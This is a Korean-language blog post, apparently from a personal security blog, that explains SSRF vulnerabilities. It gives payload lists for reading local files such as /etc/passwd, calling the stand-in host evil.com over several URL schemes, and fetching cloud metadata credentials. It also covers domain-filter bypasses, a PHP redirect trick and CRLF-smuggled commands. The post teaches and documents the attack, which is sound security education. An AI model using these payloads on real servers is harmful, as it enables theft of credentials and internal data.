본문 바로가기

웹/보안

SSRF

SSRF?

공격자 마음대서버가 원치않은 요청을 보내게 할 수 있는 취약점

사용자 입력을 받아 서버가 직접 다른 웹이나 포트에 직접 접근해서 데이터를 가져오는 기능들에서 주로 발생한다.

www.test1313.com/?url=http://www.naver.com     

#기본 공격 구문
?url=http://localhost/server-status
?url=http://127.0.0.1/server-status
?url=http://internal_domain/page
?url=http://internal_ip(192.138.0.14)/page

 

Basic SSRF : 서버가 요청에대한 응답값을 보여준다.

RFI, LFI 공격과 비슷하지만 좀더 넓은범위이다.

 

1. RFI 같은 서버 스크립트외에도 XSS가 포함된 HTML 삽입

http://www.test1313.com/?url=http://brutelogic.com.br/poc.svg

 

2. URL 스키마 테스트 : 포트가 열려있지 않아도 사용할 수 있다. 

- file:/// : 서버 파일시스템에서 파일을 가져올 때 사용된다. 

request가 서버에서 실행되기 때문에 내부의 파일을 읽어올 수 있다. 

http://www.test1313.com/ssrf.php?url=file:///etc/passwd 
http://www.test1313.com/ssrf.php?url=file:///C:/Windows/win.ini

 

- dict:// : 사용할 수 있는 정의 목록을 참조할때 사용되는데, 공격자가 포트를 열어두고 TCP 연결을 유도할 수 있다.

http://www.test1313.com/ssrf.php?url=dict://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0

 

- sftp:// : SSH 파일 전송 프로토콜

http://www.test1313.com/ssrf.php?url=sftp://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2

 

- ldap:// : 분산 데이터를 디렉터리화 해서 관리할때 사용되는 프로토콜.

http://www.test1313.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://www.test1313.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://www.test1313.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit


- tftp:// : 작은 파일을 위한 전송 프로토콜. url 이후에 작성한 텍스트가 udp를 통해 전송된다.

http://www.test1313.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3


- gopher:// : 원격 터미널에서 웹과 비슷한 기능을 수행하는 문서전송(탐색) 서비스

http://www.test1313.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php (host it on acttacker.com):-
<?php
   header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>

evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test

 

3. 내부 네트워크 및 포트 검색

방화벽에 의해 내부에서만 접근 가능한 서버들을 SSRF를 통해 접근할 수 있다.

 

4. 클라우드 인스턴스로 동작하는 서버인 경우

- 아마존 : 169.254.169.254는 EC2 인스턴스 로컬 IP 주소이다.

http://169.254.169.254/latest/meta-data/ 
http://169.254.169.254/latest/user-data/ 
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE 
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

 

- 구글클라우드

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token 
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

 

- 디지털오션 클라우드

http://169.254.169.254/metadata/v1.json

그외 클라우드는 검색으로 찾아보기

 

 

Blind SSRF

응답 데이터를 반환하는게 아닌 응답 코드를 반환한다.

내부 네트워크(10.0.0.0/8, 127.0.0.1/32, 172.16.0.0/12, 192.168.0.0/16)의 포트를 스캔할때 사용될 수 있다.

 

응답값으로 open, closed 상태를 확인하고 응답시간으로 필터링 유무를 확인할 수 있다.

 

 

 

우회기법

일반적으로 도메인에 대한 검증로직을 추가하게 되는데 성능 등 여러 이유로 문자열 검증만 적용되기도 한다.

 

google.com 만 허용하는 경우

url=google.com.test1313.com
url=google.com@test1313.com
url=www.test1313.com#google.com
url=www.test1313.com?google.com
url=www.test1313.com/google.com
url=www.test1313.com\google.com
url=www.test1313.com&google.com
url=/////////www.test1313.com
url=\\www.test1313.com
url=\/\/www.test1313.com

 

url=ⓦⓦⓦ.①③①③.ⓒⓞⓜ

 -> 크롬에서 주소창에 이와같이 넣어서 요청하면 해당 페이지(www.test1313.com)로 접속된다.

[ List ]
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

 

 

HTTP Redirect (301,302)를 이용한 우회기법

서버가 SSRF 취약점으로 attack.com/r.php를 요청하게 되면 응답헤더에 Location:http://127.0.0.1:8080/server-status 가 붙여서 302 응답을 받게된다. 

이후 서버는 127.0.0.1:8080/server-status를 요청하게 되고 응답된 데이터를 공격자에게 뿌려준다.

* 웹 요청을 다 따라가서 검증하는 경우 이 방법을 사용할 수 없다.

?url=http://attack.com/r.php

[ r.php ]
<?php
header('Location: http://127.0.0.1:8080/server-status');
?>

 

 

ESIi

<esi:include src=http://127.0.0.1/server-status/>
<esi:include src=http://internal_domain/server_base_csrf_page/>

 

URL 파서 문제를 통한 SSRF 우회기법

ssrfTest.php?url=google.com:80@www.test.com

 

curl http://google.com:80@www.test.com 

-> 웹에서 인지하기에는 google.com이 도메인으로 들어왔지만, curl은 @기준으로 우측을 도메인으로 본다.(이메일처럼)

 

curl http://google.com:80\r\rnSLAVEOF www.test.com

curl http://google.com:80%0d%0aSLAVEOF www.test.com

 

parser별 취약한 공격에 대한 정리 

 

 

 

 

 

 

' > 보안' 카테고리의 다른 글

SOP(Same Origin Policy), CSP(Content Security Policy)  (0) 2019.10.02
SSO  (0) 2019.10.02
SSTI  (0) 2019.10.01
파이썬 SQL 인젝션  (0) 2019.09.30
운영체제 명령실행  (0) 2019.09.03